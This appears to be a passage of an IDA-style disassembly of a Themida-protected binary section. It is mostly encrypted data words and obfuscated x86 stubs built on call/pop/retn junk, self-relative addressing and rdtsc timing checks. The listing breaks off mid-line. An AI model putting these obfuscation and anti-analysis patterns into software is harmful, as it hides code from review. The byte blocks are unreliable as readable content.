4244481h, 18h, 0E6C35747h, 0ADE1549Dh dd 0CADBD8Bh, 3AE90615h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h dd 17042444h, 40000000h, 3AD2C350h, 3050FF76h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 1083F807h, 1AF36EC5h, 0FDB501D9h, 8A061528h, 4DBD0BFEh dd 6A061525h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0CEF7C355h, 3266BF66h, 21BD2B53h dd 5B061508h, 1115BD83h, 0F030615h, 3AA85h, 89BD8B00h dd 83061510h, 18BF99BDh, 840F0006h, 397h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 31C35141h, 981ECF2h dd 15243DBDh, 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0F846C355h dd 8960F878h, 1509118Dh, 0D9BF0F06h, 0E195FF61h, 8B061510h dd 15143D9Dh, 8DB58B06h, 6A0618BFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9CFC353h dd 13h, 0EB620917h, 3A56A39Bh, 1A9EDFB2h, 0AB8FBE26h, 0C7CD7CA9h dd 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 264237DDh, 0BFF67816h, 21920FFBh dd 9689C380h, 0DE96050h, 0DC000000h, 0BA8E8909h, 0DEFAE468h dd 9D50BA26h, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 239EC6C3h, 456781F5h, 0BF99B5FFh dd 0B5290618h, 6150321h, 6A195FFh, 0B58B0615h, 618BF8Dh dd 8BDF8B66h, 15005985h, 6CC38006h, 0C48689h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0EC294AC3h, 8B93E826h, 15272195h, 870F5706h, 6, 6F1B589h dd 835F0615h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0FBB2DEC3h, 8D296C2Dh, 61533D1h dd 11E9h, 801D6500h, 0C55A1688h, 688E87E0h, 4599C878h dd 50892EFBh, 8DDF8B20h, 18D45885h, 0BEB8106h, 8923E68Fh dd 0B886h, 6AD88B00h, 0FBBF6600h, 99B5FF05h, 0FF0618BFh dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0DA88F490h, 0FE9h, 0DB345300h, 0B36630C2h dd 77F96735h, 5D24B3A7h, 18D34DBFh, 6060501Dh, 5FCF8EB8h dd 0A9BE665Ah, 0E960619Eh, 9, 0E194C4D6h, 4EF7836Dh, 0CA8B6681h dd 34896161h, 0B69BF24h, 0B5FF0104h, 618BF99h, 272DBD8Bh dd 0BB660615h, 95FF32CAh, 6150729h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0F2C35141h, 660DAEDEh, 80D6FABBh dd 0BD8375EBh, 6150065h, 54840F00h, 0E8000000h, 10h, 6EB95786h dd 3326C5Fh, 74C2375Dh, 0A47139A3h, 72AAA8BBh, 870F5F1Ah dd 6, 7D4DF781h, 8950161Bh, 6A2434h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8F1724C3h dd 7662828Ah, 65BD8937h, 0FF061529h, 18BF99B5h, 0C3816606h dd 95FF90E0h, 6150439h, 2CD19531h, 0B5FF0615h, 618BF99h dd 154C7ABFh, 0CD95FF17h, 8906150Dh, 151CB185h, 5DBD8306h dd 2061528h, 5D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 227E28C3h, 0F1116333h dd 49858BFEh, 66061528h, 0BB66DF8Bh, 0C6CE1Ah, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8E98F02h, 0CE000000h, 11BA2114h, 0C70D148Ah, 1523F585h dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 6E1DD302h, 0C4D450BBh, 81661862h dd 0E9DFA9F7h, 0FFFFF3BEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0EAC35747h, 15B3C6B7h, 0B93E092Bh, 0D15FBFF7h dd 0C18B5E93h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 83C35040h, 119D2945h, 8006150Dh, 858D5ADBh, 615279Dh dd 2F8781BFh, 4895024h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 221C35C6h, 9DB58960h dd 8B061517h, 151889BDh, 6A6106h, 51B3B660h, 8E9h, 0A102B900h dd 0E81108AAh, 6A615BD4h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0B6DD39B7h dd 2E1F48A7h, 0BF0DBF66h, 0F970858Dh, 6A0619h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 7D04F8C3h, 2672300Eh, 832ECB80h, 6A05C0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0F8D4A4C3h dd 45C03F46h, 5D9D8B6Ch, 50061501h, 8CBF6650h, 4895B92h dd 0D1858924h, 6A061500h, 81BD8B00h, 66061522h, 6ADE8Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B5C35141h dd 0BC040921h, 2DBD8B66h, 0FF06152Dh, 15267995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DFF79AF0h, 0E270AD8Dh, 830FB35Bh, 9, 0BAF78A60h, 93907C5h dd 158D8D61h, 6A06189Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0DADFC357h, 619D89F3h dd 0BB061527h, 7E390C76h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 89633AC3h, 15021585h dd 4CBB5206h, 5F128478h, 18F59D8Bh, 0BD830615h, 6152DB5h dd 7C850F01h, 60000000h, 3820EA81h, 61F513B6h, 6A026Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 4D7658C3h, 0F5050F8h, 28Ah, 5FFB8B00h, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 54B5C351h, 0FFCBBF19h, 151D4D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E917C760h dd 0DC3h ; --------------------------------------------------------------------------- loc_5C93A4: ; DATA XREF: Themida_:00579B00o ; Themida_:0057B730o call $+5 pop ebp sub ebp, 619F97Ah push 0 push ebx call sub_5C93BB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C93BB proc near ; CODE XREF: Themida_:005C93B3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5C93BB endp ; --------------------------------------------------------------------------- cmpsd pushf daa xor [ebp+6151A35h], ecx push 0 push ebp call sub_5C93DF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C93DF proc near ; CODE XREF: Themida_:005C93D7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5C93DF endp ; --------------------------------------------------------------------------- db 0B8h dd 53755C4Eh, 819FF369h, 0F3A55EBh, 1853117h, 8D06151Dh dd 1888F985h, 29BD8B06h, 90061517h, 8E8h, 0BD0A7900h, 5A3C799Dh dd 11E903h, 3D6A0000h, 0F765DE6Bh, 41A50910h, 97668C0Eh dd 5B883F3Eh, 8E950h, 0C190000h, 0C34CB249h, 64906F9Dh dd 35FFh, 0B70F0000h, 258964F8h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5C945F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C945F proc near ; CODE XREF: Themida_:005C9457p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5C945F endp ; --------------------------------------------------------------------------- db 13h dd 8ED747EEh, 0FFFD2738h, 15153585h, 0FF6AF906h, 66DABF0Fh dd 2E1BD781h, 3375B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0C0FD84C3h, 2B4D6D13h dd 0FABFDF8Bh, 0FF157DC0h, 1508BD95h, 0F5E906h, 9D890000h dd 6150D01h, 0B8B300B0h, 9E870E6h, 0F9000000h, 84AE97D6h dd 875BD615h, 8971E45Bh, 1519CD95h, 0F613C06h, 0CA83h dd 0FF88B00h, 8589C8B6h, 61525C9h, 26C59D8Bh, 6BA0615h dd 1000000h, 1528B1BDh, 81C18B06h, 31CCCCFh, 4E8C134h dd 0F766CAB3h, 0F0F781E2h, 2B40B4F3h, 0F5D18BC8h, 21CDBD8Bh dd 88E90615h, 8B000000h, 15115DBDh, 44858B06h, 8B5F4C4Ch dd 15135DBDh, 7C08306h, 0C2B70F60h, 2685B58Bh, 83610615h dd 0BD2300C0h, 6152E5Dh, 830FD03Bh, 1Fh, 7810Fh, 66500000h dd 994ED781h, 6820F5Fh, 81000000h, 86CD8CD7h, 39E97Fh dd 8BF90000h, 0FFFFFF8Dh, 0F8CF81FFh, 8932D607h, 15033185h dd 1E18306h, 1D840Fh, 0A5830000h, 0FFFFFFFFh, 0C18531FEh dd 89061528h, 4C4C4495h, 0F703BF5Fh, 0E919B6h, 8D000000h dd 1971A4B5h, 0CE906h, 0D3D00000h, 66B47F2Bh, 0B514320Fh dd 6A8764h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 6AC35141h, 0E8A9C338h, 0Dh, 0BCFAD22Bh, 2F67FB1Ch dd 0A799FA31h, 5FFE8B75h, 10E8h, 0FBFCCE00h, 495DF507h dd 0CDDBD521h, 1621D88Ah, 599D8BD1h, 5B061522h, 2E2195FFh dd 0B5890615h, 6152EE1h, 0FE8B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 4AC343F1h dd 86763347h, 0ADBD8B24h, 83061507h, 0BD2BFCE1h, 6151DDDh dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 1F8A6A03h, 82350470h, 8B0F5713h, 8, 69BD2952h dd 5F06152Dh, 28DDB589h, 0C02B0615h, 0BAh, 3D9D8900h, 8906151Ah dd 15251DBDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 820FF4h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0C3CEC357h, 880DE7h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 81668AC3h, 0E89E53C7h, 0Eh, 0F9E7CE84h, 0BC11F4F7h dd 6864C8FDh, 8B5B30FEh, 15272195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0C463B828h dd 0F9F7E443h, 28CD9501h, 8D8B0615h, 61504CDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 21C35545h, 8C20FED8h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0E9FCA2C3h, 0Dh, 0A0239B6Bh, 3F69A70Dh, 8DDDA6CDh, 0A9BD8333h dd 61518h, 73840Fh, 0B5890000h, 615182Dh, 0B8h, 11BD8B00h dd 8D061500h, 154F9E8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD89296Dh, 6150C6Dh dd 0E1FFDF8Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 9AC35040h, 8166F8DBh, 0F98E9EBh, 687h, 23EF8100h dd 8B282498h, 1503C59Dh, 15BD8306h, 61511h, 3E7840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 1786FBC3h, 0BD9D8B11h, 9061506h, 152FF5B5h, 15BD8306h dd 1061511h, 3CA840Fh, 8B660000h, 15BD83DEh, 3061511h dd 384860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 2C086C3h, 0F9D11EA2h, 9D23C2A9h dd 615047Dh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8D894DFAh, 61501ADh, 8C66DD8Ah, 0DBB70FD9h dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0D898C353h, 6FC2E8FFh, 54CF723Bh dd 0D4D977BBh, 0FC90A01h, 10384h, 0F98B6600h, 249D858Bh dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0E7E1CEC3h, 63952812h, 85333F53h, 61519B5h dd 1C81BD2Bh, 0C7810615h, 1BF1B014h, 0ABF50h, 48974C1h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 8E3B6BC8h, 942D3394h, 6A006AE8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 40F7C351h, 66579BFBh, 685BFE8Bh, 9B7E4E70h, 81DA8B66h dd 0B58F2404h, 6A64A0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 809DFAC3h, 57C14708h, 179BD8Bh dd 0FF5F0615h, 150DAD95h, 3FBB6606h, 99858963h, 6A0618BFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 20EAC353h, 0D19D8BF8h, 0E9061518h, 18Ah dd 0BF91858Bh, 0BD230618h, 6150CADh, 1800C7h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8B525BC3h, 18BF95B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 30129F05h, 9A109216h dd 5E8C297h, 1000000h, 4AD1F1BAh, 1D0D8589h, 8B5F0615h dd 1508219Dh, 45858B06h, 6A06150Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F8CBC357h dd 0D625D687h, 89F94FEBh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0B5894EF6h dd 6152A8Dh, 249D858Bh, 0B70F0615h, 44689F9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CEC35747h, 5576D0E4h dd 807E2339h, 6E915CFh, 49000000h, 0BE1186DDh, 8B6650C0h dd 243489D9h, 2840Fh, 0D88B0000h, 0BF91B5FFh, 0BD8B0618h dd 6152681h, 0CBB68C68h, 0CE906h, 62760000h, 0FD1C3EA2h dd 1A520168h, 348186A2h, 0D4B57324h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 2FBADFEEh dd 29DBBF0Fh, 1507E18Dh, 99858D06h, 310618BFh, 15134D8Dh dd 800F9006h, 2, 66505B56h, 6690DE8Bh, 0BB66FA8Bh, 95FF0ACEh dd 6150DADh, 28E5BD8Bh, 29610615h, 151A0595h, 1585C706h dd 3061511h, 89000000h, 15229D8Dh, 858B6006h, 6151315h dd 99BD8361h, 618BFh, 40840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 2BDEB9C3h dd 803FD8D8h, 32E9C8F7h, 8A000000h, 9E8D8h, 0AD330000h dd 1B4309C6h, 89F01DD5h, 15119595h, 30505F06h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 29F84D68h, 6A66C2h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 7F9609C3h dd 0FD8D3109h, 89061514h, 1514B185h, 15BD8306h, 3061511h dd 462850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BD898AC3h, 6150815h, 0BF99BD83h dd 0F000618h, 43384h, 998D8900h, 0FF061505h, 18BF99B5h dd 4DBF6606h, 0CD9D8979h, 0FF06150Ah, 1510E195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0A0D40C8Eh, 0B58B54D4h, 618BF8Dh, 13158D89h, 6C70615h dd 10001h, 9E950F5h, 44000000h, 2BC52750h, 138F9699h, 8B243489h dd 99B5FFF9h, 290618BFh, 151E0D9Dh, 0A195FF06h, 6A061506h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 5424C352h, 0CA34342Eh, 6632BCD0h, 37BCB81h dd 0BF8DB58Bh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 1594D8C3h, 57193CE6h, 0FB64ED2h dd 586h, 0CF816600h, 858B43BDh, 6150059h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0C4C35343h, 89A3A059h dd 0C486h, 35B50100h, 8B061530h, 15272195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 1D16C548h, 0FDE14433h, 9589645Bh, 61516E1h, 6604C283h dd 5089FA8Bh, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8DB06746h, 18D45885h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 3243EAADh, 0E8F43020h, 0CE9h, 7F65D600h, 1923220Eh dd 0E904246Ch, 89DE8BD8h, 0B886h, 6AF800h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F9C35343h, 0F5913D68h dd 178F0Fh, 12E90000h, 6000000h, 0E364D103h, 22A91906h dd 0B3F3DDA4h, 0A16C4490h, 0FFF88B6Ch, 18BF99B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 168276C7h, 95FF50B3h, 6151D4Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 45C35242h, 0A4174325h, 0AE9F0h dd 0CB2E0000h, 6F73470Ah, 8DC41582h, 24CD9D8Bh, 66960615h dd 0F50D98Bh, 289h, 96F98B00h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 26C35747h, 26E97AB6h, 3A57B103h dd 0FFDA8B66h, 18BF99B5h, 0A59D2906h, 0FF061517h, 15072995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0FDA033B9h, 0AC4235C4h, 899D8B8Eh, 8306150Dh dd 150065BDh, 840F0006h, 21h, 5E9h, 79731900h, 0E996B9BAh dd 8, 0BB864767h, 29C3B808h, 96FB8B50h, 0BECF8166h, 99B5FFD2h dd 6A0618BFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 5C90C351h, 8B66A497h, 3995FFF8h dd 6A061504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0E85CC356h, 0BF99B5FFh, 9D8B0618h dd 6152F2Dh, 0DCD95FFh, 5E90615h, 0B3000000h, 986F29DFh dd 285DBD83h, 0F020615h, 9F84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 75C9C66Dh dd 6E20D09Eh, 8BD98BA0h, 15284985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0F77D1F4h dd 666030BDh, 0E8754DBBh, 12h, 0A505031Ah, 0ACFCB935h dd 0F4A34180h, 2E3603DDh, 0BD8B34C6h, 61526D1h, 9D8B615Ah dd 61522D9h, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 8D02C353h, 4CF3C8B2h dd 1B05D1B2h, 23F585C7h, 615h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 1869D6C3h dd 22F7E7ECh, 0AE9B2h, 37050000h, 0FCE9707Ah, 49E01FCh dd 0FFF361E9h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 6AC18B08h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9367C352h dd 0DBD0BFF8h, 8B0F6ABEh, 0 ; --------------------------------------------------------------------------- mov di, dx lea eax, [ebp+615279Dh] push 0 push esi call sub_5CA178 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA178 proc near ; CODE XREF: Themida_:005CA170p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CA178 endp ; --------------------------------------------------------------------------- ja short near ptr byte_5CA1F3 das retn ; --------------------------------------------------------------------------- push ss xor ecx, [ebx+1508159Dh] push es sbb bl, 0D4h push eax pusha push eax call sub_5CA1A8 imul edi, esi, 3A747h das jo short loc_5CA21C ; =============== S U B R O U T I N E ======================================= sub_5CA1A8 proc near ; CODE XREF: Themida_:005CA19Ap arg_24 = dword ptr 28h pop esi pop edx popa mov [esp-28h+arg_24], eax push 0 push ebx call sub_5CA1B9 and [ebx-3Dh], bl sub_5CA1A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CA1B9 proc near ; CODE XREF: sub_5CA1A8+9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CA1B9 endp ; --------------------------------------------------------------------------- and ebx, [edx+ebp*2+0] push 0 push ebp call sub_5CA1D8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA1D8 proc near ; CODE XREF: Themida_:005CA1D0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5CA1D8 endp ; --------------------------------------------------------------------------- dd 16407C46h, 352B51E2h db 0E8h, 10h, 0 byte_5CA1F3 db 0 ; CODE XREF: Themida_:005CA188j dd 0F23BEF00h, 8AB59AFEh, 0AF95FCD0h, 8356FA2Ch, 399529D6h dd 5F061509h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h ; --------------------------------------------------------------------------- loc_5CA21C: ; CODE XREF: Themida_:005CA1A6j and al, 4 add dword ptr [esp+4], 1Bh inc ebx push ebx retn ; --------------------------------------------------------------------------- db 0BFh, 0C9h, 0Ch dd 5584719h, 6810F2Ch, 89000000h, 1534798Dh, 4B858D06h dd 0F9061A09h, 9799D89h, 0C0830615h, 0CF816605h, 50908A0Fh dd 0F5B5252h, 0E3D3BF31h, 585A0864h, 0FE8B6650h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 810FCD6Dh, 2, 6ADE8Ah, 6AF88B66h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 22CA5ED4h dd 9E887h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5CA2B6: ; DATA XREF: Themida_:0057C918o sbb byte ptr [ecx-4Ch], 0A8h leave push edi add bl, [edi] js short near ptr loc_5CA324+2 mov ebx, 0FF5BCD61h xchg eax, ebp jns short loc_5CA2EE adc eax, 0E99D8906h db 2Eh adc eax, 158D8D06h pushf sbb [esi], al mov edi, [ebp+61533D9h] jmp loc_5CA2EE ; --------------------------------------------------------------------------- sbb ebp, [eax] add al, 0ADh inc ecx mov byte ptr [ebp-193E450Fh], 20h movsb loc_5CA2EE: ; CODE XREF: Themida_:005CA2C6j ; Themida_:005CA2DCj call ecx cmc cmp dword ptr [ebp+6152DB5h], 1 jnz loc_5CA37A push 0 push eax call sub_5CA309 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA309 proc near ; CODE XREF: Themida_:005CA301p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5CA309 endp ; --------------------------------------------------------------------------- db 9Ah, 0ECh, 69h ; --------------------------------------------------------------------------- mov byte ptr ds:6A026AFDh, 0 push edi loc_5CA324: ; CODE XREF: Themida_:005CA2BEj call sub_5CA32C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA32C proc near ; CODE XREF: Themida_:loc_5CA324p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5CA32C endp ; --------------------------------------------------------------------------- inc esi mov edi, [ebp+615024Dh] push eax push eax push edx jmp loc_5CA355 ; --------------------------------------------------------------------------- db 9Dh dd 9B7EB3A1h, 146F55F4h ; --------------------------------------------------------------------------- push eax loc_5CA355: ; CODE XREF: Themida_:005CA346j rdtsc jge loc_5CA360 mov di, dx loc_5CA360: ; CODE XREF: Themida_:005CA357j pop edx pop eax mov [esp], eax jnp $+6 call dword ptr [ebp+6151D4Dh] jno loc_5CA37A movzx ebx, bx loc_5CA37A: ; CODE XREF: Themida_:005CA2F8j ; Themida_:005CA371j jmp loc_5CB025 ; --------------------------------------------------------------------------- loc_5CA37F: ; DATA XREF: Themida_:0057A114o call $+5 pop ebp sub ebp, 61A0955h movsx edi, si push 0 push ecx call sub_5CA399 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA399 proc near ; CODE XREF: Themida_:005CA391p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5CA399 endp ; --------------------------------------------------------------------------- xor ds:49ED74B4h, al mov [ebp+61506E5h], ebx lea eax, [ebp+61888F9h] push 0 push eax call sub_5CA3C6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CA3C6 proc near ; CODE XREF: Themida_:005CA3BEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5CA3C6 endp ; --------------------------------------------------------------------------- dw 3CE5h dd 0CF711286h, 81112B5Dh, 765CFAD3h, 8C0F501Fh, 2, 489FE8Bh dd 0FD9D2924h, 6406152Eh, 35FFh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0F2447C3h dd 389h, 0B3C78000h, 258964h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 96C3C357h dd 48A0Fh, 0BB660000h, 9D33FD57h, 61528E1h, 153585FFh dd 0B5890615h, 61502BDh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FF2EBEC3h, 150009B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 2B6CE3AAh, 1526F99Dh, 0BD95FF06h, 0E9061508h dd 0FEh, 0B0DF8Bh, 2ABD9D89h, 70E60615h, 2459BD31h, 71E40615h dd 0F613CF5h, 0E183h, 8E800h, 6EA80000h, 0A94B5258h, 8F0F7E5Ch dd 6, 10D1BD29h, 0F5F0615h, 8166C8B6h, 8B1D3FEFh, 150AE1BDh dd 6BA06h, 820F0000h, 6, 1558D89h, 0C18B0615h, 14B59589h dd 0E8C10615h, 2DBD2B04h, 66061510h, 0BD8BE2F7h, 6151735h dd 0C4B7C82Bh, 0E9F9D18Bh, 82h, 699BD8Bh, 858B0615h, 47554C50h dd 13899D8Bh, 0C0830615h, 1BD8907h, 8306150Eh, 0B50900C0h dd 6150519h, 0D6E8BF66h, 830FD03Bh, 10h, 0CE24F8BBh, 48E929h dd 9D310000h, 6152AEDh, 0FFFF8D8Bh, 0E183FFFFh, 33840F01h dd 29000000h, 15212185h, 0FFA58306h, 0FEFFFFFFh, 89FA8B66h dd 554C5095h, 0FE847h, 58200000h, 37918F84h, 97424EE6h dd 760CD07Ah, 95F380A9h, 0E95Fh, 0B58D0000h, 619818Ch dd 232D8D29h, 6A0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 32C35242h, 0E9C3563Ah, 13h, 5539FFAFh dd 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0FF39585Bh, 152E2195h dd 0CBB9F806h, 6000000Eh, 0E9F28B66h, 14h, 46D7CF0Bh, 43BE92ACh dd 0C2C37BA6h, 0FD764888h, 5217714Ah, 0FCE18361h, 